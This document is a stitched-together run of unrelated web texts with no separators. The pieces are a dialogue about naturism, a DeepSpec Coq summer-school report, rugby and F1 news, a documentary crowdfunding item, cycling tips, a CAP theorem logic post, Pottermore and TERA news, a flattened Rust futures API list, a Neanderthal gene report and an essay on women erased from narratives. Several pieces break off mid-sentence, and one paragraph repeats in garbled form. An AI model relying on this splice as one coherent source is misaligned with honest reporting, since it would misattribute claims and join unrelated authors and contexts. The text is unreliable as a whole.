Dave: Well, you have to admit the idea of social nudity is likely to be controversial for quite a lot of people – including yourself, I’m afraid.
Jan: (Leafing through the magazine Dave handed her.) Wouldn’t you think it’s not in their best interest to be so secretive about naturism?
Dave: Yeah, I suppose so. It’s pretty sad, actually. 30 years ago any publicity about gay or lesbian people was very controversial. There was the big panic and uproar about AIDS and homosexual threats to society. And now what? Gays and lesbians are getting married to other gays and lesbians, and away from the craziest parts of the country, that’s considered just fine. Nudism and naturism are really far less of a radical thing – but just look at how taboo the idea still is.
Jan: This magazine is pretty nicely done. Doesn’t look cheap at all. But of course, I’ve never seen anything like it on a magazine rack at the grocery store – even though in some ways it seems tamer than various women’s magazines on those racks. They have so many stories about how to have “the best sex ever” with your husband or boyfriend. But this one has naked people right on the cover – men and women, full frontal. I guess that’s why I’ve never seen it on the racks.
Dave: Yes, of course.
Jan: And there doesn’t seem to be much of anything very sexy inside – just a lot of naked people, who don’t look very sexy at all. In fact, most of the people look like senior citizens. Seems like hardly anyone in the pictures is younger than, oh, 45 or 50. Are most naturists just too old to be very interested in sex?
Dave: I rather doubt that. But since I’ve never seen a group of naturists in real life, I don’t know what to tell you about what the typical age is, let alone how interested they are in sex.
Jan: And I haven’t seen any kids at all in any of the picture here. Do naturists discourage families with school-age children from becoming involved with naturism? Are they afraid of the effect on kids of seeing adult nudity?
Dave: Well, apparently you’re concerned about that effect yourself. Yet there’s a lot written about how naturism tries very hard to be “family friendly”, and it’s supposed to be very safe for kids and adults all to be naked together at home or at naturist beaches and other places. But I have to admit, it’s hard to reach that conclusion based on pictures in the magazine.
Jan: Interesting. There’s an article in here about someone’s experiences on a “clothing-optional” luxury cruise in the Caribbean, just as you mentioned a little while ago. I’d like to read that. Would you mind?
Dave: No, not at all. I think it would be good for you to look through the whole magazine. Would you actually consider going on a cruise like that?
Jan: Ha! Don’t you wish! Would I be expected to be naked, at least part of the time?
Dave: Well, it’s described as “clothing-optional”, so I imagine the answer is no, you wouldn’t have to be naked. But I don’t really know whether there’d be any pressure to strip off completely.
Jan: It’s not bloody likely I’d be comfortable on a cruise like that in any case. Not only are most of the people in the cruise pictures naked, they’re mostly as old as our parents. Somehow I just can’t imagine myself, even with a bikini on, mingling casually with nobody but people like that all around, and all their saggy parts jiggling every which way – even though I assume that they’re all actually very nice people, if one can overlook all the nudity. I’m not sure I’d care to see my own mother stark naked like that.
Dave: I’d hope that those pictures aren’t typical of all naturist activities. But now I’m even more curious to participate in actual naturist activities to see for myself what they’re like. Would you object to that? I wouldn’t expect you to come along, if you don’t want to.
Jan: No, I won’t object. You’re obviously curious about this, so you might as well try to satisfy your curiosity – if only so you can get it out of your system if it isn’t what you’d like it to be.
Dave: Thanks. I don’t really have any plans along those line right now. As it’s still cold outside, I imagine there aren’t a lot of opportunities for awhile yet. I have plenty of time for more research to find activities I might like.
Jan: Do you have other issues of this magazine, or is this the first?
Dave: No, I have two more.
Jan: If you tell me where you keep them I wouldn’t mind looking through them myself. But I think it best not to leave them out where the kids can find them.
Dave: They’re in my desk. Lowest left-hand drawer.
Jan: Fine. I’ll take a look. But right now I’ve got several loads of wash that need to be dealt with.
Dave: (Smiling) If I or others in our family went naked, there’d be less wash to do.
Jan. OK, smart alec. It’s fine with me if you go naked as much as you like around here. But it does seem rather cold to be very comfortable for you if you do. Just keep some clothes on when the kids are in the house. Capiche?
Dave: Yes, of course.
To be continued.I have spent the last two and a half week in Philadelphia attending the first DeepSpec Summer School, In this post I want to summarize the event and give an overview of all the courses.
The DeepSpec Project is a research project lead by several US East Coast universities (University of Pennsylvania, MIT, Yale University and Princeton University) and aims to “push forward the state of the art in applying computer proof assistants to verify realistic software and hardware stacks at scale”. It consists of several smaller projects, including a formal verification of a hypervisor (CertiKOS), LLVM (Vellvm), Coq compiler (CertiCoq) and GHC’s Core language (CoreSpec).
The goal of DeepSpec Summer School was to introduce people to real-life formal verification using Coq proof assistant. School was divided into three parts. All the lectures can be found on a YouTube channel. Coq code for the courses is available on GitHub. Summer school’s web page also provides installation instructions as well as other supplementary material (click on a given lecture or select from “Lectures” tab).
Week 0: Coq Intensive
First three days of the summer school were a very intensive introductory course on Coq lead by Benjamin Pierce. This essentially covered the first volume of Software Foundations. (Aside: For those of you who don’t know yet, original Software Foundations online book has been split into two volumes: Logical Foundations and Programming Language Foundations. Also, a third volume has been added to the series: Verified Functional Algorithms by Andrew Appel. All three volumes can be found here, although expect that this link will likely become broken soon when this draft versions become an official release. There are also plans for two more volumes, one on Separation Logic and another one on Systems Verification.)
Week 1: Programming Language Verification
First full week of the school consisted of four courses centred around programming language verification:
Property-based random testing with QuickChick by Benjamin Pierce. I assume many of you heard about Haskell library called QuickCh e ck. It offers property-based testing: programmer writes properties that the should hold for a given piece of code and QuickCheck tests whether they hold for randomly generated test data. QuickCh i ck is implementation of the same idea in Coq. Now, you might wonder what is the point of doing such a thing in Coq. After all, Coq is about formally proving that a given property is always true, not randomly testing whether it holds. I was sceptical about this as well, but it actually turns to be quite a good idea. The point is, specifications are difficult to write and often even more difficult to prove. They are especially difficult to prove when they are false ;-) And this is exactly when QuickChick can be beneficial: by trying to find a counter-example for which a stated property does not hold. This can indeed save programmer from spending hours on trying to prove something that is false. If QuickChick doesn’t find a counter-example we can start writing a formal proof.
This course also gives a nice overview of type classes in Coq.
ck. It offers property-based testing: programmer writes properties that the should hold for a given piece of code and QuickCheck tests whether they hold for randomly generated test data. QuickCh ck is implementation of the same idea in Coq. Now, you might wonder what is the point of doing such a thing in Coq. After all, Coq is about formally proving that a given property is always true, not randomly testing whether it holds. I was sceptical about this as well, but it actually turns to be quite a good idea. The point is, specifications are difficult to write and often even more difficult to prove. They are especially difficult to prove when they are false ;-) And this is exactly when QuickChick can be beneficial: by trying to find a counter-example for which a stated property does not hold. This can indeed save programmer from spending hours on trying to prove something that is false. If QuickChick doesn’t find a counter-example we can start writing a formal proof. This course also gives a nice overview of type classes in Coq. The structure of verified compiler by Xavier Leroy. This series of lectures was based on CompCert, which is a formally verified C compiler. The ideas behind formal verification of a compiler were presented on a compiler of Imp (a toy imperative language used in Software Foundations) to a simple virtual machine. Fourth, final lecture covered the CompCert project itself. To me this was the most interesting course of the summer school.
Language specification and variable binding by Stephanie Weirich. Software Foundations is a great book, but it completely omits one topic that is very important in formalizing programming languages: dealing with variable bindings. In this courses Stephanie presented “locally nameless” representation of variable bindings. This is something I had planned to learn for a very long time but couldn’t find the time.
Vellvm: Verifying the LLVM by Steve Zdancewic. For a change, in this course Imp was compiled to a simplified variant of LLVM, the compilation process being verified of course. Also, a nice introduction to LLVM.
Week 2: Systems Verification
Courses during the second week put more focus on verifying computer systems. Again, there were four courses:
Certifying software with crashes by Frans Kaashoek and Nickolai Zeldovich. The topic of this course was certification of a hard-drive operating routines, including bad-sector remapping and a simple virtual RAID 1 implementation. Although still using toy examples, specifications presented during this course were much more abstract giving a good idea how to scale to a real-world system verification. I found this course very difficult to follow, although the lectures were really superb. Note: materials for this one course are available in a separate GitHub repo.
CertiKOS: Certified kit operating systems by Zhong Shao. Ok, I admit I was completely unable to follow this series of lectures. Way to difficult. In fact, I skipped two out of four lectures because I figured out it will make more sense to work on homework assignments for other lectures.
Program-specific proof automation by Adam Chlipala. Unsurprisingly to those who know Adam’s “Certified Programming with Dependent Types” book, his course focused on proof automation using Ltac. One lecture was specifically dedicated to proofs by reflection.
Verified Functional Algorithms by Andrew Appel. This course covered a majority of third volume of new Software Foundations.
Summary
First and foremost let me say this: DeepSpec Summer School was the best research meeting I have ever attended. The courses were really good and inspiring, but the most important thing that made this summer school so great were fantastic people who attended it. Spending evening hours together working on homework assignments was especially enjoyable.
There might be a 2018 edition of the summer school so be on the lookout – this is a really great event for anyone interested in Coq and formal verification.Krisnan Inu could serve as many as seven weeks on the sidelines after his spear tackle on Greg Inglis was deemed worthy of a grade four dangerous throw charge by the match review committee.
Inu stayed on the field, despite many good judges believing the crude tackle could have warranted a send off as Canterbury-Bankstown faced South Sydney on Friday.
But he wasn't missed by the citing commission, leaving the Bulldogs with a big decision to make on whether or not to fight the charge at the judiciary.
If they choose not to and take the early guilty plea, Inu will still serve a five week ban.
Meanwhile, Brisbane skipper Sam Thaiday, Manly prop Brenton Lawrence and Gold Coast Titans prop Luke Bailey were also cited by the match review committee.
Click on the video at the top of the page to watch Inu's crude tackle on Inglis. Has the match review committee got it right? Leave a comment at the bottom of the page to have your say!
Thaiday faces a one week ban, whether or not he fights his contrary conduct charge after grabbing a referee by the sleeve after being frustrated that a potential obstruction call went against him in the Broncos' clash with Melbourne Storm.
Bailey and Lawrence will both avoid one week bans if they take the early guilty plea.With the remake of It on the way, there’s no better time to look back at director Tommy Lee Wallace’s original 1990 miniseries adaptation of Stephen King’s horror novel, and that’s exactly what the filmmakers behind RoboDoc: The Creation Of RoboCop and You’re So Cool, Brewster! The Story Of Fright Night are planning to do—if they can raise enough money, that is. The team has launched an Indiegogo page to fund a new film project called Pennywise: The Story Of It, and they’re looking to raise about $25,000 to pay for the travel and production that the documentary will require.
This isn’t just a bunch of fans talking about It, though, as the Indiegogo page explains that they’ve lined up interviews with a whole bunch of people who worked on or appeared in the original miniseries, including Tommy Lee Wallace himself and Tim Curry—who played Pennywise and will be making his “first in-depth interview” about the character for this documentary. Of course, that kind of stuff requires money, and unlike some Indiegogo campaigns, this one won’t happen unless the filmmakers are able to get all of the donations they’re asking for. Supporters will be able to get the usual array of rewards, including a Blu-ray copy of the movie, a t-shirt, and—if you really hand over some serious cash—an executive producer credit (complete with an IMDB page).
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You can read more about the project here.Biking for Beginners: 10 Tips to Ride Your Bicycle Safely in Traffic
Riding in traffic, even slow traffic, is one of the scariest obstacles that many beginning riders have to overcome. Thinking of being hit by a car while on your bike is enough to discourage many from even attempting to ride their bicycle in the city.
When I first started riding, I had visions of myself and my snazzy blue bike pinned under a bus every time I went out on the road. I was constantly worried that I would get “doored,” a dog would run into my path, or I’d meet my death in some other horrible bike/car related way.
It took a while and a little perseverance, but I can finally ride the road comfortably and feeling safe and confident. Following are a few tips that helped me learn to ride with traffic, and others that I learned along the way.
1. Keep you bike in proper working order
Keeping up with bike repairs is probably ne of the most important things a rider can do to ensure their safety. A loose chain or flat tire at the wrong time can spell disaster. Fortunately, keeping your bike working properly is not very difficult.
The League of American Bicyclists suggests the “ABC Quick Check:”
A – Check Air pressure
B – Check Brakes
C – Check Cranks, Chain, and Cassette
QUICK– Check Quick releases
CHECK– Check it over
There is a more detailed version of the ABC Quick Check on the League’s website: http://www.bikeleague.org/resources/better/beginningcycling.php
By remembering this short phrase, you will be able to make a fast check of your bike every time you ride.
2. The Gear
The right gear can make a big difference. Despite the helmet controversy, if you are in a bike accident, your helmet will protect your head from injury and may even save your life.
Another piece of equipment that I have found extremely useful, especially when I was still learning to balance on my bike, is a mirror. Mirrors can be mounted on a helmet or on the handlebars, but either way, they are very helpful in keeping an eye on traffic behind you without having to constantly turn your head or body to look around.
A bell, horn, or whistle is also a good basic item to alert motorists, other riders, and pedestrians of your presence. Your bell should be loud enough so that motorists can hear it. The Illinois Department of State’s Cyber Drive Illinois suggests a horn that can be heard from 100 ft. Delores Simmons of Black Women Bike DC (BWBDC) recommends a whistle to get drivers’ attention.
Comfort is also important. Make sure the clothes and shoes you are riding in fit comfortably and protect you from the wind and elements. It is much easier to focus on the road without the distraction of ill-fitting shoes or being too cold.
3. Be Visible
It is extremely important for riders to be visible to motorists, other riders, and pedestrians. Cyber Drive Illinois has a list of equipment necessary to make you as visible as possible while on the road. The list includes:
Clear front reflector
Red rear reflector visible for at least 100 ft.
Wheel mounted side reflectors
Reflector pedals
Front light visible for at least 500 ft., if you plan to ride at night
Others suggest a reflective vest, and/or a flashing light for night riding.
4. Make eye contact with drivers
Never assume that a motorist sees you on your bicycle. Always try to make eye contact with drivers to ensure that they are aware of your presence.
When you are behind or beside a car, avoid riding in a car’s blind spot. Remember that if you cannot see the car’s rearview mirrors, the driver cannot see you. Even when you can see the mirrors, never assume that the driver has seen you.
5. Obey traffic & bike signals and lane markings
When there are no specific bike signals, cyclists must follow regular traffic signals and lane markings, like any other vehicle on the road. Riders should stop at red lights and stop signs, obey right-of way laws, as well as ride on the rightmost lane of traffic. Riders should also ride with traffic and not against it.
One of the complaints that I have heard from riders lately is people riding the wrong way on a one-way bike lane. Even though it may not seem like a big deal to ride against traffic, riding the wrong way on a one-way bike lane can be very dangerous for you and other riders. For one thing, if you meet an oncoming rider and you are riding the wrong way, there may not be enough space for both riders and a car, which can be very dangerous. Moreover, if you are riding in the wrong direction, cars making a turn onto the street may not see you or expect you, which can lead to a collision.
6. Use hand signals
There are four basic hand signals for cyclists. Learn them and use them every time you are going to stop or make a turn.
7. Turning
Turning, especially turning left, can be tricky, as motorists may not be ware of what you are doing. Always signal appropriately when turning, giving motorists and other riders enough time to see you and react. Before turning, (1) think about what you are going to do, (2) scan for obstacles and hazards, (3) signal, and (4) turn. Turn from the proper lane and make sure to avoid turning only lanes well before the intersection if you are not turning.
To turn left at an intersection, there are two options. (1) Signal and change lanes to your left, and turning from the left lane; or (2) remain in the right lane, cross the intersection, and wait until the light changes to cross.
8. Sharing the road with other cyclists
If you are riding with other cyclists or in a group in traffic, always ride in a single file. When passing another rider, make sure you pass on their left.
9. Ride the lane when appropriate
Most traffic laws state that, where there are no bike lanes, cyclists should ride “as far to the right as practicable.” This means that riders should ride leaving enough space to their right to maneuver in an emergency as well as to avoid getting hit by the door of a parked car.
On wider roads, there is enough room for cyclists and cars in the same lane. On these roads, cyclists should ride just to the right of the lane, being careful to leave adequate room to avoid the “door zone,” and always riding in a straight line.
Where the lane is not wide enough for a car and a bicycle, cyclists should take the lane and ride the right third of the lane to avoid getting buzzed by cars on the left or being hit by turning vehicles, vehicles exiting driveways, or parked car doors. This should only be done in areas where cars are traveling at the same speed as bicycles or if there is an obstacle or hazard that makes the road too narrow to share with a car.
10. Keep calm and stay alert
Freaking out is the worst thing you can do while riding in traffic. It is important to remember the basic rules and safety tips and not to push yourself too far beyond your comfort level. Confidence comes with practice and time. If I can do it, anybody can. Remember you can always pull over (do so safely and signal!) and walk your bike if you feel traffic is too heavy or until you feel comfortable.
Staying alert and anticipating what others will do is the best way to avoid an accident. Ride defensively and assume that motorists do not see you. As you become more familiar with routes in your area, you will be able to identify dangerous stretches and intersections, where you can learn to spot potential hazards and distracted drivers. Michael Bluejay of Bicyclesafe.com (http://bicyclesafe.com/) suggests riding as if you were invisible, “It’s often helpful to ride in such a way that motorists won’t hit you even if they don’t see you.”
Related articlesA Logical Interpretation of the CAP Theorem
The three component properties of the CAP theorem have been explained to death in other places. The zeitgeist reminds you daily that any system can only exhibit two out of those three properties, and that you must pick P. That is, the only possible system configurations are CP, AP, and CA.
But nobody really talks about what the logical form of these two three combinations actually are. As this question was implicitly raised in two recent blog posts—here and here—now seems like an opportune time to write down their logical forms, thus clarifying the way in which P, and its absence, are interpreted in these system descriptions. So here are their logical forms, in prose and symbols.
Consistency/Partition Tolerance
For any given system state σ, if the system is experiencing a network partition—e.g., P(σ) holds—then the system will be able to handle operations while maintaining consistency or it will become unavailable—e.g., C(σ) ∨ ¬A(σ) holds. In other words:
CP ≡ ∀σ. P(σ) ⇒ C(σ) ∨ ¬A(σ)
Availability/Partition Tolerance
For any given system state σ, if the system is experiencing a network partition then the system will be able to handle operations (consistently or inconsistently) while maintaining availability—e.g., A(σ) holds. Using symbols instead of words:
AP ≡ ∀σ. P(σ) ⇒ A(σ)
Consistency/Availability
For any given system state σ, if the system is not experiencing a network partition then the system will be able to handle operations while maintaining both availability and consistency. For the sake of Frege:
CA ≡ ∀σ. ¬P(σ) ⇒ C(σ) ∧ A(σ)
Using contraposition, it’s straightfoward to conclude that this is equivalent to:
∀σ. ¬C(σ) ∨ ¬A(σ) ⇒ P(σ)
Logic is Symbols, Logic is Simple
Recall that the truth tables for logical implication, both for when the antecedent is not negated and when it is negated, are as follows:
X Y X ⇒ Y ¬X ⇒ Y T T T T T F F T F T T T F F T F
The first two rows are the important ones. One of the aforementioned posts claims that a system cannot remain CA during a network partition by becoming unavailable. Taking X ≡ P(σ) and Y ≡ C(σ) ∧ A(σ), the second row of the truth table says that you can. Since X is true, the system is experiencing a network partition. At the same time Y is false, so either the system is unavailable or will behave inconsistently. Yet the table still states that ¬X ⇒ Y is true, i.e., the CA property is preserved in this system state.
While this seems to contradict the CAP theorem, it does not. The consistency and availability of a CA system are predicated on there not being a network partition. If there is no network partition, then the system is available and consistent. But what if there is a network partition? The CA property says nothing about the behavior of the system during that time. It does not say that availability will be maintained. It does not say that consistency will be maintained. Translated to the language of meaningless symbols that know nothing about computer:
P(σ₀), ∀σ. ¬P(σ) ⇒ C(σ) ∧ A(σ) ⊭ A(σ₀) P(σ₀), ∀σ. ¬P(σ) ⇒ C(σ) ∧ A(σ) ⊭ C(σ₀)
Simply put, you cannot deduce availability or consistency from the assumptions of a CA system and a network partition in a particular system state, here written as σ₀.
The confusion may arise from the first row of the truth table, which states that the CA property can be preserved by a system state that is experiencing a network partition, and is both available and consistent. In general this can’t happen because of the CAP theorem. But of course, since CA doesn’t really say anything about the behavior of a system while experiencing a partition, it may have some limited capacity to handle a certain subset of possible network partitions, sort of like a CP system!
CP Systems are Useless
Strictly speaking, you have to assume this without knowing anything else about the system. This is because the CP property only says something about the behavior of the system during a network partition. What about the times when there is no network partition? Just like you can’t deduce availability or consistency from the CA property in the presence of a network partition, similarly you cannot deduce availability or consistency from the CP property in the absence of a network partition. In lyrical syntax:
¬P(σ), ∀σ. P(σ) ⇒ C(σ) ∨ ¬A(σ) ⊭ A(σ₀) ¬P(σ), ∀σ. P(σ) ⇒ C(σ) ∨ ¬A(σ) ⊭ C(σ₀)
And yet, most CP systems are built to be available and consistent during normal operations, in the absence of a network partition. That sounds like a familiar property. It sounds like all CP systems that are in popular use today are also CA systems:
CP' ≡ CP ∧ CA
So clearly, CA ∩ CP' ≠ ∅. In fact CA ∩ CP' = CP'. Practically speaking, any useful CP system is going to also be CA. It doesn’t really make sense to talk about one without the other. Or perhaps all of this is too restrictive and there’s another way to think about it.
CP ∧ CA ≠ CAP
— or —
A Wittgensteinian Language Puzzle?
There seems to be common misconception that the symbols C, A, and P individually represent logical propositions. By concatenating these symbols to produce things like CP, for example, you create a new symbol whose meaning is determined by the conjunction of the logical propositions that correspond to C and P. Restated in a way that may clarify for some, but obfuscate for others, it’s commonly assumed that the denotational mapping from the syntactic monoid generated by {C, A, P} is a homomorphism, with a left inverse. Given the preceding text, that seems to not be the case, and for a very simple reason: P by itself has no useful denotation. Sure, a system may be partition tolerant, but with respect to what invariant? It can’t just be partition tolerant period, full stop. That conveys no useful information about the behavior of the system.
Rather, the presence or absence of P in the description of a system property must modify the scope of the property to the presence or absence of network partitions, respectively.
Thanks to Evan Jones and Justin DeBrabant for reading drafts of this post.JK Rowling has defended the publication of her new Harry Potter e-books after fans complained that they were filled with very little original writing by the best-selling author.
The Pottermore Presents series was released on Tuesday, consisting of three online-only books that packaged up writing from the free-to-access Harry Potter website Pottermore in themed editions.
The 10,000-word books included chapters on the workings of objects familiar to Harry Potter fans such as the Sorting Hat and the Marauder’s Map, as well as entries on all of the Ministers for Magic - the wizarding equivalent of the Prime Minister.
Although Rowling’s name was listed on the front of all three books, the copy inside has been compiled by staff from Pottermore. Anne Rafferty, the website’s director of product, creative and content, explained on Pottermore: “We read through everything in our archives, took pieces written by Rowling and the Pottermore editorial team, and sewed it all together.”The recent days have seen loads of people writing abusive things about the FIA coming up with a plan to award double points for the final race of the year. Without getting into whether or not it is a good idea, it needs to be pointed out that the FIA Strategy Group is NOT the FIA. This new body has three groups involved. The FIA has six votes, Formula One Management has six votes and six of the teams each have one vote. The other teams have no say but are allowed to vote in the F1 Commission which can accept or rejected the ideas put forward by the Strategy Group. The FIA World Council has similar powers to accept or reject but cannot alter proposals. Thus, blaming the FIA is not really fair because there is no reason to suggest that the idea came from the FIA. The fact that it passed through the Strategy Group means that a majority of the voters must have been in favour. That could mean the FIA plus four teams; the FIA and FOM together, or FOM and four teams. And one should perhaps add that Ferrari must have been ambivalent towards the matter because it did not impose its veto.
It is easy to blame the federation for everything, but one must point out that it is not always their fault…TERA Release Dates Announced, European Cover Art Revealed
Giuseppe Nelva January 17, 2012 11:03:00 AM EST
Both En Masse Entertainment and Frogster announced today the official release dates for the anticipated action MMORPG TERA. The game will be published in the US on May the 1st, while European gamers will have to wait two more days for the release on May the 3rd.
In the US the game will be available both in a collector’s edition and in a standard one, online and in retail stores. The retail edition will be distributed by Atari.
There’s no word about a collector’s edition in Europe for the moment. The game will be distibuted in European brick and mortar stores by Ubisoft. Frogster also released the European cover art, that you can see below.
Despite what many analysts love to say about monthly fees in MMORPGs, TERA will require paying one in both markets. The European version of the game will include English, French and German language options.
We contacted Frogster about the possible availability of an European Collector’s edition and we’ll keep you posted with any information we receive.
UPDATE: we received a remarkably fast reply from Frogster that clarified that specific information about editions and preorders will be released in the upcoming weeks. European collectible lovers can still hope not to miss on their TERA Memorabilia.// Constructing leaf futures fn empty () -> Future < T, E > fn ok ( T ) -> Future < T, E > fn err ( E ) -> Future < T, E > fn result( Result < T, E >) -> Future < T, E > // General future constructor fn poll_fn( FnMut ( thread_local! ( Task )) -> Poll < T, E >) -> Future < T, E > // Mapping futures fn Future::map ( Future < T, E >, FnOnce ( T ) -> U ) -> Future < U, E > fn Future::map_err ( Future < T, E >, FnOnce ( E ) -> F ) -> Future < T, F > fn Future::from_err( Future < T, Into < E >>) -> Future < T, E > // Chaining (sequencing) futures fn Future::then ( Future < T, E >, FnOnce ( Result < T, E >) -> IntoFuture < U, F >) -> Future < U, F > fn Future::and_then( Future < T, E >, FnOnce ( T ) -> IntoFuture < U, E >) -> Future < U, E > fn Future::or_else ( Future < T, E >, FnOnce ( E ) -> IntoFuture < T, F >) -> Future < T, F > fn Future::flatten ( Future < Future < T, E >, Into < E >>) -> Future < T, E > // Joining (waiting) futures fn Future::join ( Future < T, E >, IntoFuture < U, E >) -> Future <( T, U ), E > fn Future::join3( Future < T, E >, IntoFuture < U, E >, IntoFuture < V, E >) -> Future <( T, U, V ), E > fn Future::join4( Future < T, E >, IntoFuture < U, E >, IntoFuture < V, E >, IntoFuture < W, E >) -> Future <( T, U, V, W ), E > fn Future::join5( Future < T, E >, IntoFuture < U, E >, IntoFuture < V, E >, IntoFuture < W, E >, IntoFuture < X, E >) -> Future <( T, U, V, W, X ), E > fn join_all ( IntoIterator < IntoFuture < T, E >>) -> Future < Vec < T >, E > // Selecting (racing) futures fn Future::select ( Future < T, E >, IntoFuture < T, E >) -> Future <( T, Future < T, E >), ( E, Future < T, E >)> fn Future::select2( Future < T, E >, IntoFuture < U, F >) -> Future < Either <( T, Future < U, F >), ( U, Future < T, E >)>, Either <( E, Future < U, F >), ( F, Future < T, E >)>> fn select_all ( IntoIterator < IntoFuture < T, E >>) -> Future <( T, usize, Vec < Future < T, E >>), ( E, usize, Vec < Future < T, E >>)> fn select_ok ( IntoIterator < IntoFuture < T, E >>) -> Future <( T, Vec < Future < T, E >>), E > // Utility fn lazy ( FnOnce () -> IntoFuture < T, E >) -> Future < T, E > fn loop_fn ( S, FnMut ( S ) -> IntoFuture < Loop < T, S >, E >) -> Future < T, E > fn Future::boxed( Future < T, E >+ Send +'static ) -> Future < T, E >+ Send +'static // Miscellaneous fn Future::into_stream ( Future < T, E >) -> Stream < T, E > fn Future::flatten_stream( Future < Stream < T, E >, E >) -> Stream < T, E > fn Future::fuse ( Future < T, E >) -> Future < T, E > fn Future::catch_unwind ( Future < T, E >+ UnwindSafe ) -> Future < Result < T, E >, Any + Send > fn Future::shared ( Future < T, E >) -> Future < SharedItem < T >, SharedError < E >>+ Clone fn Future::wait ( Future < T, E >) -> Result < T, E >Research team discovers 'immune gene' in Neanderthals
by Staff Writers
Bonn, Germany (SPX) Nov 26, 2013
This is professor Dr. Norbert Koch from the Institute for Genetics, Department of Immunobiology at the University of Bonn. Credit: Barbara Frommann/Uni Bonn.
A research group at Bonn University and international collaborators discovered a novel receptor, which allows the immune system of modern humans to recognize dangerous invaders, and subsequently elicits an immune response.
The blueprint for this advantageous structure was in addition identified in the genome of Neanderthals, hinting at its origin.
The receptor provided these early humans with immunity against local diseases. The presence of this receptor in Europeans but its absence in early men suggests that it was inherited from Neanderthals. The results have been published in advance online in the Journal of Biological Chemistry. The printed edition is expected in a following issue.
When pathogens infect the human body, the immune system identifies and attacks dangerous invaders. During evolution |
all the men were killing each other. It turned out many of them were governing countries and figuring out rather effective methods of birth control that had sweeping ramifications on the makeup of particular states, especially Greece and Rome.
Half the world is full of women, but it’s rare to hear a narrative that doesn’t speak of women as the people who have things done to them instead of the people who do things. More often, women are talked about as a man’s daughter. A man’s wife.
I just watched a reality TV show about Alaska bush pilots where all of the pilots get these little intros about their families and passions, but the single female pilot is given the one-line “Pilot X’s girlfriend.” It wasn’t until they broke up, in season 2, that she got her own intro. Turns out she’s been in Alaska four times longer than the other pilot and hunts, fishes, and climbs ice walls, in addition to being an ace pilot.
But the narrative was “cannibalistic llama,” and our eyes glazed over, and we stopped seeing her as anything else.
Language is a powerful thing, and it changes the way we view ourselves, and other people, in delightful and horrifying ways. Anyone with any knowledge of the military, or who pays attention to how the media talks about war, has likely caught on to this.
We don’t kill “people.” We kill “targets.” (Or japs or gooks or ragheads). We don’t kill “fifteen year old boys” but “enemy combatants” (yes, every boy 15 and over killed in drone strikes now is automatically listed as an enemy combatant. Not a boy. Not a child.).
And when we talk about “people” we don’t really mean “men and women.” We mean “people and female people.” We talk about “American Novelists” and “American Women Novelists.” We talk about “Teenage Coders” and “Lady Teenage Coders.”
And when we talk about war, we talk about soldiers and female soldiers.
Because this is the way we talk, when we talk about history and use the word “soldiers” it immediately erases any women doing the fighting. Which is it comes as no surprise that the folks excavating Viking graves didn’t bother to check whether the graves they dug up were male or female. They were graves with swords in them. Swords are for soldiers. Soldiers are men.
It was years before they thought to even check the actual bones of the skeletons, instead of just saying, “Sword means dude!” and realized their mistake.
Women fought too.
Let’s just put it this way: if you think there’s a thing – anything – women didn’t do in the past, you’re wrong.
In fact, women did all sorts of things we think they didn’t do. In the middle ages, they were doctors and sheriffs. In Greece they were… oh, sod it. Listen. Foz Meadows does a better job with all the linky-links, for those who desire “proof.” Let’s just put it this way: if you think there’s a thing – anything – women didn’t do in the past, you’re wrong. Women – now and then – even made a habit of peeing standing up. They wore dildos. So even things the funny-ha-ha folks immediately raise a hand to say, like: “It’s impossible women did X!” Well. They did it. Intersex women and trans women, too, have fought and died, often misgendered and forgotten, in the ranks of history. And let us remember, when we speak about women and men as if these are immutable, somehow “historical” categories, that there are those who have always lived and fought in the seams between things.
But none of those things fit our narrative. What we want to talk about are women in one capacity: their capacity as wife, mother, sister, daughter to a man. I see this in fiction all the time. I see it in books and TV. I hear it in the way people talk.
All those cannibal llamas.
It makes it really hard for me to write about llamas who aren’t cannibals.
James Tiptree Jr. has a very interesting story called, “The Women Men Don’t See.” I read it when I was twenty, and I admit I had a difficult time understanding what the fuss was all about. This was the story? But… this wasn’t the story! We’re stuck for the full narrative inside the head of a man who does very little, who’s traveling with a woman and her daughter. Like the man, of course, we as readers don’t “see” them. We don’t realize that they are, in fact, the heroes of the story until it’s over.
This was the man’s story, after all. That was his narrative. It’s his story we were a part of. They were just passing objects, some NPC’s in his limited landscape.
We didn’t see them.
Art above by Jason Chan, Kimonas, & Tony Foti
When I was sixteen, I wrote an essay about why women should remain barred from combat in the U.S. military. I found it recently while going through some old papers. My argument for why women shouldn’t be in combat was because war was terrible, and families were important, and with all these men dying in war, why would we want women to die, too?
That was my entire argument.
“Women shouldn’t go to war because, like men do now, they would die there.”
I got an “A.”
I often tell people that I’m the biggest self-aware misogynist I know.
I was writing a scene last night between a woman general and the man she helped put on the throne. I started writing in some romantic tension, and realized how lazy that was. There are other kinds of tension.
I made a passing reference to sexual slavery, which I had to cut. I nearly had him use a gendered slur against her. I growled at the screen. He wanted to help save her child… no. Her brother? Ok. She was going to betray him. OK. He had some wives who died… ug. No. Close advisors? Friends? Maybe somebody just… left him?
Even writing about societies where there is very little sexual violence, or no sexual violence against women, I find myself writing in the same tired tropes and motivations. “Well, this is a bad guy, and I need something traumatic to happen to this heroine, so I’ll have him rape her.” That was an actual thing I did in the first draft of my first book, which features a violent society where women outnumber men 25-1. Because, of course, it’s What You Do.
I actually watched a TV show recently that was supposedly about this traumatic experience a young girl went through, but was, in fact, simply tossed in so that the two male characters in the show could fight over it, and argue about which of them was at fault because of what happened to her. It was the most flagrant erasure of a female character and her experiences that I’d seen in some time. She’s literally in the room with them while they fight about it, revealing all these character things about them while she sort of fades into the background.
We forget what the story’s about. We erase women in our stories who, in our own lives, are powerful, forthright, intelligent, terrifying people. Women stab and maim and kill and lead and manage and own and run. We know that. We experience it every day. We see it.
But this is our narrative: two men fighting loudly in a room, and a woman snuffling in a corner.
The trouble is, it’s often hard to sort out what we actually experienced from what we’re told we experienced, or what we should have experienced.
What is “realism”? What is “truth”? People tell me that the truth is what they’ve experienced. But the trouble is, it’s often hard to sort out what we actually experienced from what we’re told we experienced, or what we should have experienced. We’re social creatures, and fallible.
In disaster situations, the average person will ask for about four other opinions before forming their own, before taking action. You can train people to respond quickly in these types of situations through vigorous training (such as in the military), but for the most part, about 70% of human beings like to just go along with their everyday routine. We like our narrative. It takes overwhelming evidence and – more importantly – the words of many, many, many people around us, for us to take action.
You see this all the time in big cities. It’s why people can get into fistfights and assault others on busy sidewalks. It’s why people are killed in broad daylight, and homes are broken into even in areas with lots of foot traffic. Most people actually ignore things out of the ordinary. Or, worse, hope that someone else will take care of it.
